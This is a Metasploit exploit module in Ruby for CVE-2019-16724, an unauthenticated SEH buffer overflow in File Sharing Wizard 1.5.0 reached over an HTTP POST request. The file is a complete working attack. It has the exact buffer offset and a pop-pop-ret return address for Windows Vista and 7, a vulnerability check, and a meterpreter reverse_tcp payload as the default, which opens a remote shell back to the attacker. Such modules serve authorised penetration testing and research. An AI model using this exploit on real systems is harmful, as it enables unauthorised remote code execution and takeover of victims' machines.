##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Seh

  def initialize(info = {})
    super update_info(info,
                      'Name' => 'File Sharing Wizard - POST SEH Overflow',
                      'Description' => %q(
        This module exploits an unauthenticated HTTP POST SEH-based buffer overflow in File Sharing Wizard 1.5.0.
      ),
                      'Author' => [
                        'x00pwn', # Original exploit
                        'Dean Welch <dean_welch[at]rapid7.com>' # Module
                      ],
                      'License'        => MSF_LICENSE,
                      'References'     =>
                          [
                            %w[CVE 2019-16724],
                            %w[EDB 47412]
                          ],
                      'Payload' =>
                          {
                            'BadChars' => "\x00\x20"
                          },
                      'DisclosureDate' => '2019-09-24',
                      'DefaultOptions' =>
                          {
                            'RPORT' => 80,
                            'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
                          },
                      'Platform'       => 'win',
                      'Arch' => [ ARCH_X86 ],
                      'Targets' =>
                          [
                            ['Windows Vista / Windows 7 (x86)', { 'Offset' => 1040, 'Ret' => 0x7c38a67f }] # 0x7c38a67f : pop ecx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [MSVCR71.dll]
                          ])
  end

  def check
    res = send_request_cgi
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end
    # Checks for the `WWW-Authenticate` header in the response
    if res.code && res.code == 401 && res.headers['WWW-Authenticate'].include?('Basic realm="File Sharing Wizard"')
      CheckCode::Detected
    else
      CheckCode::Safe
    end
  end

  def exploit
    buf = rand_text_english(target['Offset'])
    buf << generate_seh_payload(target.ret)
    print_status('Sending payload to target')
    send_request_raw({ 'method' => 'POST', 'uri' => buf }, 0)
  end

end